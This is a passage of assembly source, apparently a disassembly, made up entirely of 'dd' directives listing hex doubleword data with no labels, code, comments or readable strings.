		dd 0BBB8BBBAh, 0EB67A391h, 15393094h, 0FDFC55Eh, 504BDA32h
		dd 5704CEBDh, 4A58329Ah, 0D472A30Fh, 662792C9h,	0D28A37E5h
		dd 0BADB136Eh, 5D55201Fh, 0D9B5A82Fh, 6815F3DCh, 7078DE8Ah
		dd 6C9D4E98h, 0FE5D821Bh, 76AF7C24h, 0B1B21FF0h, 1E92A620h
		dd 8A3EEA7Bh, 0A127B64Ah, 67D50C4Ah, 67A41E94h,	25DBBBB0h
		dd 0DAF78F01h, 0D4F5E394h, 0E35CF29h, 0FB024B4Bh, 6DC688F9h
		dd 8E399CE9h, 4605E177h, 7D8391CCh, 4874094Ah, 0A97B491Fh
		dd 8BBE1040h, 31603A17h, 0C4D63D0Fh, 6FF661BEh,	0C95ACE5Ah
		dd 0EB40A9D4h, 0BF9FEC19h, 1F29D16Ch, 41C27197h, 46D54752h
		dd 3D0777CFh, 0A9853A15h, 29EA8736h, 55FAA8F6h,	523818Ch
		dd 46E8E687h, 7776B54Bh, 4607DEA1h, 77238549h, 0CB81C76Bh
		dd 5B0312F7h, 8250C21Bh, 7F2C919Bh, 1D0EF037h, 6B0DD111h
		dd 0B1AF9E82h, 0BC37C8BDh, 3DCA9FADh, 95E13B4h,	0CCB92144h
		dd 0DCB8A1C5h, 24A7E81Fh, 0F34FEE3Ch, 4A7DEBEAh, 28FFB059h
		dd 7C52A3D3h, 0CDAAB029h, 0D83CA690h, 84CDABBFh, 891968A2h
		dd 7843133Eh, 2295D3C3h, 0F59AD475h, 54D86A31h,	46F84E85h
		dd 7F2D5AEAh, 0DDF261D2h, 84E3D387h, 87395AB7h,	0A7C5ACD9h
		dd 957C004Ch, 25B17C59h, 0D7314FA5h, 0DBACA04Eh, 7C80BC38h
		dd 1F2D7A65h, 11AE413Ch, 0D9922562h, 661C4397h,	0C557A801h
		dd 0D65694B5h, 32DFD5A2h, 2E18D70Fh, 0CEA82DCEh, 13B8B9F2h
		dd 0D04B973Fh, 226B0E77h, 834B0B90h, 55826E58h,	15256967h
		dd 0F0C758BEh, 0F3CD8685h, 0E778087Ah, 707E920Dh, 291C7E80h
		dd 1B418D6Ch, 0B6115561h, 28269CB4h, 0AD95B101h, 6381E39Fh
		dd 751CC5A5h, 0C36E29E6h, 0CBFCF042h, 63AA842Dh, 34DB613Fh
		dd 6ADCCDECh, 2EF9EBB0h, 7F36B77h, 7E5F12BEh, 24EAC5E7h
		dd 27AB66EAh, 88DFED75h, 417DEF29h, 0A1723508h,	9A07443Bh
		dd 2B473C57h, 0F0772346h, 62A80FF3h, 238B69D8h,	97005265h
		dd 21D95854h, 31FA7D58h, 0E36B4EDFh, 39A653D1h,	0F6C97FC4h
		dd 8DD28FC2h, 2A8C1076h, 99D9BF77h, 7A3F0E3Ch, 0C49D3B7Bh
		dd 614CB55Ch, 0BBE097D3h, 0BCC6DC58h, 0CA0B69E3h, 7E466FB4h
		dd 0AA02BBBFh, 0BFB41EC2h, 8BA039D4h, 0BA10DC41h, 57E9BAE0h
		dd 9DD85198h, 4DB3F7B9h, 55C61DE9h, 0E9802352h,	84C4AAA0h
		dd 916FDA0Ch, 9DD74361h, 3D25324h, 33CA03BDh, 547E97h
		dd 0FA8A6606h, 3E693490h, 0BFB93FA4h, 238DE64Dh, 2C5E8973h
		dd 0ABDE5C28h, 0B74949D2h, 5BC2BA23h, 171592BAh, 2907D93h
		dd 8D5C6E7Fh, 7061DE47h, 0DD6CCFAFh, 0CFF2E5EFh, 8DF4B950h
		dd 0D7AFF2E0h, 1FE79AC9h, 7A73CEE7h, 1572833Ah,	99362FE6h
		dd 993A0836h, 5A4C4D73h, 7D8855CBh, 1241E0FFh, 0D39E003Fh
		dd 0B58DB093h, 0EE0DADh, 0BA49C976h, 0BCC41C44h, 968FCC06h
		dd 8DA32A26h, 0B2E22716h, 0AD8D70B3h, 72AAA2ABh, 6D578AE7h
		dd 428AC811h, 0ACFDBF78h, 28F2A430h, 78D1DF06h,	880E8CD9h
		dd 0D251C5A7h, 0C5F07DA7h, 0F6423B6Fh, 0AC5008ABh, 2E213306h
		dd 0FF173262h, 3847E0FDh, 46EB9BDh, 48BDF931h, 8C9C9E13h
		dd 53E6983Fh, 737ADC9Dh, 0A6A4AA3Fh, 5C2E056Fh,	7534E166h
		dd 0D29F63ECh, 97049FA3h
		dd 802CED2Ah, 0F23D7B96h, 4F57F35Bh, 26C8CBC5h,	4FE22C34h
		dd 9B02903Ch, 8A15D337h, 0DF779DD6h, 0D0AC1E9Fh, 0C9B43476h
		dd 453EAD8Ah, 9C37529Ah, 6DE36CD7h, 0E8F7C39Ch,	48D8200Ch
		dd 85CF3F71h, 42F4A73Ch, 0B063BD02h, 45E05852h,	0C191033Ah
		dd 3B818372h, 376483FAh, 0E1E78235h, 1593B796h,	1269A16Bh
		dd 0E5A6BCE8h, 7045A0CEh, 61DDBEF5h, 0A9DCC775h, 0B7F64117h
		dd 27EC6DACh, 0DC9CB7F2h, 0C69AEBEFh, 0C6A74221h, 3E9CD74Ch
		dd 18C5B00Ch, 0EDE8DD77h, 6F2597EEh, 981AF9F2h,	435BA94Eh
		dd 7EA8801Ah, 0DCFE18A8h, 0E70DBDB2h, 0EC3CCE5h, 1084CBD6h
		dd 1C342EF4h, 5927B6D2h, 4C26774Fh, 0A23D274Ah,	8FACB233h
		dd 3F2AB4EBh, 667E0063h, 277E5283h, 170F6D69h, 32ED1DDBh
		dd 853432A2h, 73EB81E4h, 0F6D8DB23h, 0F00203F2h, 6561B058h
		dd 3273981Eh, 27AAA9D5h, 99D05E7Eh, 0C8F259BAh,	7E749B00h
		dd 0EBB19DBCh, 84086E71h, 1DD5347Ah, 0E26E8AF0h, 0FC244E5Fh
		dd 70A40ADh, 14C8172h, 17CD529Dh, 0D96FC620h, 0CFB3EBFFh
		dd 2AFB3557h, 5080EE4Dh, 3D97ACF3h, 165E78DDh, 0DA19C066h
		dd 4878B81Bh, 82ECD010h, 4B6CBF80h, 26C459D9h, 7B3B1BFCh
		dd 11E28578h, 8B0AF53Dh, 4762B138h, 0FBEE231Eh,	8B34591Ah
		dd 98094E90h, 7BDB79CBh, 10D44B31h, 0AE971FF1h,	2C5C1D3Ah
		dd 6311F7CFh, 95782759h, 8B1C8CC0h, 0E6F18DF8h,	73A863BBh
		dd 72BA0F83h, 0C0D578D9h, 822B0F7Dh, 63791BFAh,	8AFD7260h
		dd 0E8FC025Fh, 2675A342h, 9872F982h, 6A85E91Ch,	929F404Ah
		dd 279371FEh, 1438A29Eh, 0CDD5C640h, 0CA4BC01Ch, 0E00CF113h
		dd 7C065F66h, 7BBF286Ah, 1EDB31F6h, 777F6F80h, 60DFABD2h
		dd 25191822h, 0A04917EAh, 0D6F23BF3h, 0EEA9E1EAh, 0F96F52C5h
		dd 0CEBDAD4h, 93E8A73h,	8A379CBh, 0BC8F6EA1h, 0C9C6F8D8h
		dd 5934E58Ah, 517098B8h, 667FC38Fh, 0E3101E9h, 0C1DE355Dh
		dd 123459B3h, 0CFE77BFFh, 2A565100h, 5DF13C7Ch,	0BA2895F9h
		dd 0F6E9930Bh, 18063AC8h, 0DD3B8650h, 4CABE58Dh, 0BDA1119Ah
		dd 68629399h, 0CF9F672Eh, 69622B90h, 39C5BA18h,	845A4438h
		dd 0A86B8973h, 0B62B30C3h, 0A23EC9C7h, 697D2D3Eh, 0BA8AFD09h
		dd 0E0A206DCh, 4B2F0BDEh, 0DF56AE13h, 0A5142084h, 0FCC621FBh
		dd 5C013723h, 0AB945185h, 0F7277200h, 0D54BFD15h, 94274180h
		dd 60B00C3Dh, 5D328B50h, 0D9B78288h, 90F54527h,	5E42029h
		dd 44CA5936h, 0E3A5E1C0h, 6058CDD9h, 0E26963E4h, 0E910311Fh
		dd 30A1E677h, 0E2ABD196h, 0CB633250h, 0C4DDBD4h, 7B6C6CC9h
		dd 0FE14C6ABh, 8DA32E5Ah, 2783BC2h, 9C15B637h, 0EC451E14h
		dd 0DE80024Ch, 707DDF67h, 78B600FFh, 53EC83E4h,	0A111892Dh
		dd 9D3DD68Ch, 0CB294D8Dh, 0E65B203Ch, 6ACF33CEh, 89805236h
		dd 47D27033h, 6DAAEB4Fh, 44C5D4Ch, 152761E8h, 0C1E86B42h
		dd 6611A9B9h, 78A0C5F8h, 0F01EE4BCh, 682CAD8Dh,	0C18E936Eh
		dd 8D2D4B44h, 0AE3B952Fh, 1885DA72h, 14F41EDh, 935FCB11h
		dd 0C8E99D6h, 58067769h, 0F1703434h, 0A705BDECh, 79F5CCCEh
		dd 70747BB3h, 0DA9074A0h, 47E5F1EEh, 4BCBA9D8h,	0FF736DE9h
		dd 78DDBD6Ch, 0A1E3B533h, 6150A85Ah, 9F5FA032h,	0E25C9705h
		dd 2AB199A4h, 80EB5508h, 0D60C84EBh, 0C3E032D4h, 7ED63D72h
		dd 0FDBC063Eh, 3770E110h, 8B8F15EEh, 0B13D23A3h, 0F9EE3755h
		dd 4CE93F9Fh, 633CE061h, 613C5A90h, 0E8AD6C9Eh,	6A9A4277h
		dd 0E28A1ABEh, 4F434E63h, 7EDB28FCh, 412B4BB0h,	0CCE0073Eh
		dd 0A72408DBh, 7AD58189h, 83B1F95Dh, 0ED85A6D2h, 0D8CD8622h
		dd 672AF4EEh, 29E33C81h, 2DE004Ah, 99A18AAEh, 0F9FA144Eh
		dd 0A7CE0ED9h, 0C8B94C6Fh, 2271EE05h, 2A43A05Dh, 7527FF6Fh
		dd 8F4C80D6h, 0D8CCE306h, 0A0DE0EF1h, 0A3F3B9CDh, 67690F05h
		dd 0F4FACA08h, 6BED93D8h, 8D08E9B5h, 613E5489h,	2B9A9323h
		dd 0A8F79DC1h, 658F0D29h, 0C5004081h, 606A0B95h, 70B00ECh
		dd 0E9E1E5D7h, 9978770Ch, 7E93C23Fh, 809DAF5Eh,	65E9AD7h
		dd 4D6B6ED0h, 7B813EE0h, 0B6B8A44Bh, 0B857A848h, 0F7F9705Dh
		dd 0E280D18Ah, 13BE8820h, 1910A34Bh, 4320DF3Ch,	136E274Eh
		dd 0E0C8BD33h, 0E7EACF1Dh, 341DA666h, 0A3FC4175h, 49A3AA14h
		dd 0C822AB35h, 4A571C0Bh, 0D0A95C96h, 954A575Dh, 0CAEF5D54h
		dd 6719F99h, 33BAB5B9h,	0F81CAAB2h, 4FC25BBh, 0B5133290h
		dd 996D168Ch, 0D5E83509h, 6E3464F5h, 54F1B88Fh,	0D142C88Ch
		dd 0A6266893h, 381EC74Ch, 0FC381F02h, 8A173A8Fh, 22492B65h
		dd 0A5710DD8h, 99A01584h, 115A25A1h, 4EFFB93Ch,	8218D373h
		dd 6FE63138h, 0DF3EC47Dh, 7DE6E0FBh, 0E085DA9Eh, 45E6A54Fh
		dd 461203CAh, 2A2AB544h, 9C4A7E29h, 0F89C95F3h,	8D55DDE6h
		dd 576AB930h, 28763EF7h, 0AEABB7C8h, 0DC0502E6h, 47AF7646h
		dd 78946E66h, 977B3506h, 0C2A050DCh, 89D20633h,	481438C7h
		dd 0BFDF621Ah, 53011CBFh, 1AB23017h, 0CD85D8F5h, 48EC7749h
		dd 0DFA77965h, 463CC66Ah, 22D90201h, 2811310Bh,	0E71B191Fh
		dd 0A9C7F807h, 1AEB2B43h, 541213C6h, 3EB775BFh,	5A003CD8h
		dd 17DD66FAh, 6CB6024Eh, 1445718h, 0F23CBAC7h, 0BC9A1F5Ch
		dd 6CDE3ABAh, 4D64BB7Ch, 44176E3Ch, 995B75A5h, 58F40D5Eh
		dd 63CD3AB9h, 746D68F0h, 1E6B6EEBh, 0E0D94B6h, 6BC14636h
		dd 2CAD0443h, 18E44F77h, 51C0239Eh, 490DD2D8h, 68186ABh
		dd 0D730862Ah, 20D4824Ah, 202A16BCh, 85A62C25h,	476B07D8h
		dd 719DD9EAh, 0D776943h, 6461F89Ch, 8B6C47C1h, 0A97837CFh
		dd 8240D509h, 3D005052h, 3FB037F2h, 0DC90AD83h,	956A2BDDh
		dd 0FB017E7Ah, 3F2877AEh, 0E6E18945h, 4B9DA023h, 730FC0C6h
		dd 5326199Fh, 8FBB6924h, 46164DFAh, 76A53955h, 8F98DFC0h
		dd 8DE84837h, 0D7EB4CAh, 63CA7FE7h, 7F2E20Ah, 0F22CD894h
		dd 729A0B4Eh, 770138F3h, 104213Ah, 0DB875C9Eh, 7F97187Ch
		dd 7E770285h, 6950233Ch, 97E0A11Fh, 4A4A7730h, 1A5FB9AFh
		dd 57732245h, 0A4A7F5FDh, 199D50D9h, 1B32089h, 0B5E26A98h
		dd 9BB34BE0h, 7DE49F9Eh, 310C9548h, 79013860h, 8D3D57BEh
		dd 588A411Ch, 98C860DAh, 213D1842h, 1F40FE0h, 0D9B00ED0h
		dd 9A98D6E4h, 0A11CA5B7h, 991E346Fh, 0D15F93B9h, 9BEA560Fh
		dd 0DF34B834h, 0D3FDB424h, 7EED5D20h, 2C9F5C81h, 0B9E81DE0h
		dd 9C8BB5DEh, 0D7E34AFDh, 6DADA28Dh, 0CF00A1C8h, 104CDEFEh
		dd 90CD34BCh, 0CFA5CB56h, 3C4B115Bh, 7B64A909h,	0E23998EBh
		dd 0D9706F90h, 0D331187Fh, 0EC97D527h, 73073107h, 0B52C0387h
		dd 6E5B0CBBh, 0F6091FE7h, 0BF646440h, 475EA9E7h, 7729175h
		dd 0E34283B9h, 356928BCh, 0E159D401h, 21E7555h,	37B68092h
		dd 0B5EF2068h, 7E47FF9Ch, 7382153Ah, 107F21AAh,	9F515288h
		dd 333B1492h, 0B4BF6FAAh, 115EF422h, 0BCDE8F3Eh, 0AF6B64B7h
		dd 41647DD4h, 23A0C012h, 0A481D31Dh, 0AFC35103h, 74A508EDh
		dd 6A3090B6h, 0FC07D84Fh, 0AD10563Ch, 5D2C0ED2h, 0B39F3DE1h
		dd 0B9D02B3Eh, 25829B31h, 88FB4EDFh, 5761B524h,	5B2F78AAh
		dd 0F119C623h, 92730323h, 98DDE93Ah, 372ADF3Bh,	14012DECh
		dd 144D9970h, 6411269Ah, 3832A5DFh, 0B53873BAh,	4A4A6DC9h
		dd 609C8D8Eh, 6AEF04CBh, 89B525Ah, 244D69h, 4D1C274h, 222D3E2Eh
		dd 8933F880h, 4EB3DE28h, 0DD15B938h, 0AA4F7151h, 75917FE4h
		dd 42244857h
		dd 143145C1h, 3E1DB11Ah, 0C66CA698h, 191FDE14h,	21646D51h
		dd 60B5EF8Dh, 90A44A5h,	4D9F5391h, 466EADB5h, 0C0CAA395h
		dd 0B74C19F7h, 54352934h, 1C8F883Ch, 861686DAh,	6382F2E7h
		dd 4633C466h, 0D26F4330h, 4E7BAE53h, 0A9FDF81Eh, 8CA7DD73h
		dd 3BF174D0h, 4531114Bh, 89441594h, 0BE5EB5E6h,	0C3D79860h
		dd 282C9372h, 4154C196h, 66C573E1h, 9060042Bh, 0F8A52EE2h
		dd 5B10A698h, 0E58B1CD4h, 0E8184E7Dh, 1B3A129Dh, 0F9E46FFFh
		dd 8D9C00D2h, 6EBB60E8h, 561F8CC3h, 0D50893A8h,	607E6333h
		dd 8C46666Fh, 8092109Dh, 7A735202h, 0A4C2D217h,	8D370EB5h
		dd 6691BFEFh, 57E6ECAAh, 0DAB6D697h, 2F55D155h,	86008237h
		dd 808FF039h, 0CB6F163Ah, 0C30B1AABh, 0CFF7BD24h, 57BFABB6h
		dd 9CAF5388h, 315B9F3Fh, 0CBC5DD13h, 0A5A3AA4Ch, 41B7ABB2h
		dd 5C0B2AD1h, 0B814E6D0h, 0DD87871h, 34B57303h,	0B674FCEFh
		dd 0ADA62170h, 5C05F2E3h, 0E76C919Eh, 0FE4DE3CAh, 4C62397Fh
		dd 34975410h, 3509F85Fh, 1FEBC44Ah, 0E1192C02h,	503E1697h
		dd 0CD879D9Bh, 8A1B790Ch, 0C302BA6Dh, 24576BB5h, 86434BF3h
		dd 0C6BB22F9h, 5B64A7E5h, 0CD630AA5h, 525009EAh, 0B8726867h
		dd 0AFCB7DD8h, 5FDD3DCBh, 0C62CB816h, 0A02B88CCh, 0E2A85B06h
		dd 91030268h, 517264D7h, 8A353623h, 0DDC7FFDAh,	0ABB1C403h
		dd 7C556A60h, 18476525h, 0E1605786h, 0E16DF93Eh, 3B3526ACh
		dd 60336CF4h, 0B6EE0338h, 0B1D5E5CDh, 0B445D71Eh, 4A66C6F2h
		dd 8A8131E4h, 2A0884F9h, 997C7310h, 8EDDD94h, 8E999C43h
		dd 0E3464C4Eh, 0FF4811h, 98F0F987h, 6C026674h, 97E7909Dh
		dd 0C6C9630Eh, 6C961DA3h, 0B80C418Ah, 0B7702DD7h, 0B24D5375h
		dd 0CDF56C06h, 1C33CAEEh, 4B23497Dh, 77055004h,	9DAAF0E0h
		dd 0F76B8B09h, 3B553CECh, 0A07F2347h, 3F457110h, 0DEE2CD03h
		dd 7594E687h, 47D7D96h,	64C6DFF7h, 4E4553BDh, 96135952h
		dd 76EDD3BDh, 0A7B01026h, 5CA74125h, 0D444E05Dh, 5E735243h
		dd 2D0D5246h, 132F8C32h, 76BD89A4h, 4C86D171h, 8ACF9DEFh
		dd 9E2E0955h, 2D4DB126h, 2408A76Ch, 71DE100Ch, 0F6E4FDCCh
		dd 43C836C8h, 2DDDEE1Eh, 0B56238E7h, 7E7093BBh,	29E843D0h
		dd 923C7443h, 0B2927A0Ch, 9CEE0828h, 51B6A180h,	0D8D57B10h
		dd 72A8AA57h, 0F83A72F6h, 58F68507h, 5AE6B189h,	7F186FD7h
		dd 0E88422F2h, 0EAA6CEB7h, 256E9EA0h, 0A5011972h, 7E222DF7h
		dd 63521785h, 0DBF24D7Ch, 3A4353DEh, 701EA418h,	0A481DF13h
		dd 6C6FA05Eh, 9BC2CD2Ch, 0B385F7BFh, 12BF2229h,	0BD303CAFh
		dd 3D2D5EAFh, 4DF73C82h, 117FAD33h, 0FE156C54h,	63AA88DEh
		dd 0E2AA97EDh, 797BC73Ah, 5471EA7Eh, 0CEFCD880h, 0E83C98CBh
		dd 0C50233A7h, 0C3BB5830h, 43D51EACh, 0A4264910h, 0A68761CBh
		dd 0BDBE4238h, 8C3DE5B8h, 992C0CAh, 74851102h, 4ADA552Eh
		dd 5B5270EDh, 6926C63Ch, 29312CE8h, 40950E1Bh, 0FB176543h
		dd 0EB5D2C5Bh, 1FF71E08h, 0A245BB6Bh, 711D8D3h,	0B79753CEh
		dd 11DD3F37h, 0D81FAC6Dh, 0E8AA163Ah, 0FBE42B5h, 0B2F0E702h
		dd 0B637543h, 0C934D91Bh, 5BCF3B8Ah, 0C4D6EF11h, 93068ADh
		dd 0E3EAE073h, 0D2E95B32h, 449F768Dh, 103AEDEBh, 2EF45630h
		dd 3C76BF69h, 0F61461B1h, 2237EA8Eh, 0B479603h,	0DEE7D247h
		dd 6BC0E00Dh, 0F8CEEC59h, 0A257963Ah, 0CC53F9C9h, 0BF70825h
		dd 0AC374D1Fh, 0CDFF0533h, 0B09FC0ADh, 0C6FB86B8h, 0DFC8EBFAh
		dd 0E76B61C9h, 0ED82EE8Bh, 85D6C724h, 9F902E0Bh, 0AA06C632h
		dd 5B8971B2h, 731E7039h, 3C1F1D32h, 0AA6B5BC2h,	5FBE920Fh
		dd 0F5480DE3h, 0FC570C18h, 0C466227h, 20DCB31Ch, 0C687759h
		dd 0A1E4F5Fh, 1167E4D6h, 6B17888Ah, 4722D4C7h, 14C456C7h
		dd 0C8CBCD7Bh, 6FF15BEEh, 0A1C8955Ah, 65B23C50h, 9CFD08A9h
		dd 0B5D9579Bh, 761E22ABh, 0EDC619C7h, 18E1CA37h, 0C353F4BCh
		dd 86079FCCh, 0E18B96BDh, 7FA993F0h, 82827960h,	0B00CFA61h
		dd 24A48811h, 0A01D2A28h, 0D8B3C9D5h, 962A1F85h, 24EB27A4h
		dd 9E1A20B1h, 5343C5E7h, 121C2459h, 3320ED3h, 0F9596EB9h
		dd 9DE77376h, 30D5C1B1h, 2487714Fh, 542CD4A9h, 0A80213B5h
		dd 273631C2h, 9B68791Ah, 0E049AF4Eh, 6C7AC143h,	1A8110C7h
		dd 35BCC4DBh, 914D7226h, 9C869193h, 0D33ECh, 4EB76037h
		dd 81F14C2h, 0F05E14BDh, 23D08258h, 12CFC3FDh, 55D16A97h
		dd 4E1F7B1Bh, 1AC4D0D9h, 27262A69h, 0CDAD824Ah,	83C78BBh
		dd 0AB0B02CDh, 0AC614C3Fh, 24A5FB77h, 0F090677Bh, 37637844h
		dd 2C9FDF03h, 0FBD379Bh, 4734ED13h, 0E414E562h,	0C70DA205h
		dd 73A03CD0h, 2D4B9AE2h, 91B14987h, 7834BB84h, 0C0178853h
		dd 0AB310C33h, 97A020D3h, 2DAC4012h, 5645C96Fh,	0ED44913Ch
		dd 0CBC903CBh, 0CD9F043Bh, 0C2BBF41Fh, 7169FAh,	0CF3397BFh
		dd 8560EC46h, 1B227157h, 0EE68C6C2h, 6AC78499h,	6CAEBACAh
		dd 3164CD5Fh, 116813B8h, 5E9E6330h, 0C3941D4Bh,	0F420EBFAh
		dd 0DB081D57h, 1F6E24DFh, 0C99C546h, 0DA0E5403h, 8B41B30Fh
		dd 0C57F67ADh, 89BE4453h, 0A6D85AD8h, 7A2BF999h, 0B344341Dh
		dd 0A0AED8D0h, 25FCAD85h, 30CAED7Bh, 8CA082DAh,	3E8EA146h
		dd 0C1CE4BB4h, 52D24F10h, 3253FB7Fh, 0A99DDB83h, 3A1C6B10h
		dd 322011BFh, 240CC513h, 0A97715D8h, 2AE47E31h,	2570793h
		dd 0BF756517h, 3A3C0F46h, 0BCCFA0D5h, 0E38F104Dh, 0E8293BB1h
		dd 17C295A4h, 1FBB67ACh, 695BADC0h, 8193CD34h, 32F444AFh
		dd 4A98D7FDh, 0D2ECC438h, 0E83EF79Fh, 6CE7B9E7h, 0E9F8AD03h
		dd 0CD851566h, 0A54B1B61h, 845FA2C0h, 0BBAD3239h, 4F3F61FFh
		dd 345C8245h, 0DFB45AEh, 0C7B688F1h, 8459F9C5h,	960708EEh
		dd 253DDB81h, 87689419h, 873ADF1Ah, 7CF4E583h, 4DC77571h
		dd 0C1142D0Eh, 0F72AB265h, 2A6702BAh, 54D847BDh, 9E35D079h
		dd 0BDE33471h, 4C643816h, 53F7AFD9h, 869524BDh,	0E431F3Fh
		dd 0D18B12C3h, 7EF54545h, 0B4238F5Fh, 400E06E0h, 3706E61h
		dd 5911055Fh, 554803DCh, 0ECE401BEh, 0BDB7566h,	7704CCCAh
		dd 2EBA89FDh, 0DC3042CFh, 5C7C1CC5h, 5657722Ah,	91C226D0h
		dd 8D607440h, 158FBD9Dh, 0A6E94AADh, 452FA4B7h,	9688D59h
		dd 0CC19B0C1h, 5A7FA55Ah, 0E27D8A9Ch, 55AE4E2Bh, 15225037h
		dd 0DFB964Bh, 0AAB6C223h, 0AFA375E0h, 0C0F754CEh, 0E75964C0h
		dd 6F3937C8h, 0E4545B4Ah, 28384CF9h, 3836D298h,	0E37B1975h
		dd 0CC0171FEh, 0E26B6414h, 0EBCB744Fh, 0BF5BB3FAh, 0BE74F3C5h
		dd 0FE6A49B3h, 0CF1779E1h, 337D8A4h, 31520C5Eh,	9E4F73D9h
		dd 99B0D85Dh, 0B110BCF5h, 54143E43h, 247512E8h,	38FDBC80h
		dd 19984F66h, 8291E706h, 83A7966Bh, 8DD1E3F0h, 8C49048h
		dd 1CF645B9h, 7DC216EFh, 0C2A80Eh, 95BEA02Ch, 0FF3323B1h
		dd 480D4988h, 70CE1BE8h, 10547CE4h, 0B7A77FF2h,	0B44677A5h
		dd 67CDF491h, 478B6346h, 12903739h, 4B18B66Eh, 6C3FA16Eh
		dd 14E8280Ah, 0AA4B0CA6h, 0AAAB8AD5h, 0A7CD70D6h, 56A631F1h
		dd 0A25D8F4Fh, 299D09E2h, 442A029h, 402E78Ah, 8E3B7A1Dh
		dd 0CC50229Dh, 2DADB7B5h, 0A145EB17h, 0C6CD32A0h, 0A8DD219Fh
		dd 0C46C575Eh, 76EC525Eh, 4B7EBFC1h, 39F676C6h,	0A8108873h
		dd 0E9AF877Fh, 0E35B029Dh, 0F33710D6h, 0C5225406h, 584A945Fh
		dd 0A1061EBAh, 4988E451h, 0ADBF7353h, 0FE73F107h, 0D4C493D1h
		dd 96252F24h, 75CEA93Ch
		dd 0E710A9C8h, 92EE1321h, 0C09E5157h, 4EFCD34Dh, 0C14B41E0h
		dd 0B9392099h, 7C7D9AFh, 0D0F6C876h, 6F148152h,	3C8803E6h
		dd 92807F52h, 9BEB8936h, 54408198h, 4597A18Fh, 0C09E16DBh
		dd 0D3C5D3A4h, 448789BEh, 0D5A062ADh, 0CEA04286h, 7392EA2Bh
		dd 242A0B90h, 5965E0ECh, 0F9A7FDBBh, 0D155A834h, 0EADA8A30h
		dd 19CED3E1h, 5990CDCCh, 0F4846C9Bh, 0B0D40EF8h, 0D70D3136h
		dd 0DA2A1BBFh, 718DF61h, 287043A2h, 7B4D5F7Ch, 0DF30AFC4h
		dd 8F060A7Ah, 20C4281h,	0A90C1C61h, 4D3E668Bh, 0DD9EE3CDh
		dd 8368F12Fh, 6A71A04Ah, 2BC9FB4h, 7D5451CCh, 88EC7311h
		dd 35D3FF30h, 7B990AAh,	9D35C43Eh, 0A51F9007h, 0AB4475BCh
		dd 0A9A88E01h, 0A5E6529Ah, 0F997ECCDh, 1E1BD308h, 387A7E77h
		dd 0C0F85124h, 1009C49Ah, 0B025B133h, 0F6CA0D82h, 23EE321Bh
		dd 656B685Ch, 0E671C122h, 4629932Dh, 0B5555B02h, 2B0756C6h
		dd 974575C4h, 0D4ADA793h, 4FF242F5h, 89E6E811h,	0EE526461h
		dd 3567CB9Bh, 0F236633Bh, 0C481CBE4h, 0A8C1737Ah, 8847940h
		dd 480CED50h, 0BBB77EFFh, 86ABAC54h, 3408422Ah,	0DC8DD1C2h
		dd 68B7DB2Dh, 44B4C7E6h, 6BA63569h, 8ACE88C6h, 0AEE484F1h
		dd 0AA6C4E4Fh, 3472835Ch, 0B837D00Ah, 81F818A7h, 0E5BCD4F6h
		dd 7BED469Bh, 774F7173h, 0D9FA4B77h, 93E88225h,	963A0B47h
		dd 0D155B1B3h, 664EAA67h, 659CC9F8h, 8FE115EAh,	171DDE58h
		dd 6662AAC7h, 0B3A75748h, 0FFE155A2h, 210B33F1h, 0A144D541h
		dd 158CD705h, 0AE03B77Eh, 0A82376h, 0C62016C3h,	3C9028EAh
		dd 0C936EB19h, 6A6566CEh, 0C14C2B3Bh, 378003F1h, 5145AD5Bh
		dd 60A4A6C7h, 2D6A462Dh, 0FB2C80Fh, 83AEB8BBh, 3408A272h
		dd 1826F05h, 27C176E3h,	0C76ACE11h, 6C79D11Bh, 5F2416C3h
		dd 5DDB8CF3h, 3058D7C3h, 0CA6CB8A3h, 11E8E6C9h,	0B8FF2A3Ch
		dd 448FA21Fh, 816C749Dh, 1386EB9h, 0A493BE14h, 9593E5EFh
		dd 5B524E41h, 9FDF74E5h, 0D3C54123h, 216D88E9h,	2014FF4Bh
		dd 0CDBD8409h, 95D2AA9Ah, 0EA5A8C39h, 0FA5067EFh, 0C735C896h
		dd 0FC554Fh, 0AA9E38C4h, 0B2C4AB01h, 0CE6263E5h, 0E18DC798h
		dd 575729B0h, 24A58ADh,	8CF2D714h, 70AAAA33h, 0D662F4CCh
		dd 62DF4C1Eh, 92BAE7B8h, 837BFE3Ch, 0B14411CBh,	0C66A795Fh
		dd 73F8A3D6h, 0FE664F7Bh, 0D279BA60h, 60F5A523h, 935B5C07h
		dd 0C7FD436Ah, 0E2297400h, 6D347A11h, 9E137BD5h, 4C46FC6Fh
		dd 3E8F0738h, 5328E77Bh, 7C48822Bh, 9370E6A5h, 0A6E141C6h
		dd 8796B89Ah, 45CA2E44h, 4613E15Bh, 136D1A4Ah, 0D4AB57B8h
		dd 0E7363BD4h, 66649835h, 469B41D7h, 0CC56DF56h, 0D09D19CEh
		dd 17095D2Bh, 0F0289FEFh, 4296D872h, 0E6F41D2Fh, 0CA8EA070h
		dd 0D38B8504h, 3AF517A5h, 77FECF0Eh, 4A6E8C3Ch,	96182C29h
		dd 0D313600Bh, 0D675E28Bh, 0EA1EE026h, 0F77E279Fh, 0F7417FB6h
		dd 0F7472D36h, 1C35E396h, 0BFB883Eh, 2D91B4C1h,	0E57A9EE9h
		dd 72659F15h, 0D75F7B34h, 3D9FC522h, 0CA6B3DD9h, 68719D3Ch
		dd 0A98F80C8h, 0DA8E6099h, 0A5D3FE4Dh, 0B02B4872h, 7D638C39h
		dd 24DC3B26h, 84B30730h, 0E636E1FFh, 75FD2BBh, 98C696A7h
		dd 9D462579h, 5273BE0h,	71B3CDE4h, 23FCF21Ch, 39DCC381h
		dd 0E37D477Ch, 967C9F83h, 0A5EB9F6h, 13A80FB2h,	19BA9D2Bh
		dd 7393B588h, 7C15D937h, 0E4920090h, 96EA05EDh,	1E1577A7h
		dd 1ABDFEA1h, 0DF53CDE1h, 74821501h, 12911332h,	40D0AF7Ah
		dd 0EF1D48ABh, 0BD0C0FF8h, 0D11C3673h, 0BE62D725h, 76EF354h
		dd 0CB8D4900h, 0C8A02103h, 3D400F64h, 1CB1081Dh, 0D73188D8h
		dd 0F335BF63h, 3240A314h, 0D92DCBDBh, 34DFE1Bh,	0F5849EB2h
		dd 0EAC86E23h, 96A065DFh, 0D959A403h, 705E5C9Fh, 0FFD442DEh
		dd 0B96A6FFFh, 0FE4970FEh, 0AA4F7E3Eh, 9718F60Ch, 0D6DE472Ah
		dd 0D8B75306h, 59E3068Ch, 496DF13Eh, 0FD946DD5h, 0E6FA2892h
		dd 2113415Ah, 1F02E283h, 4C02C5Eh, 0DA769661h, 98858F64h
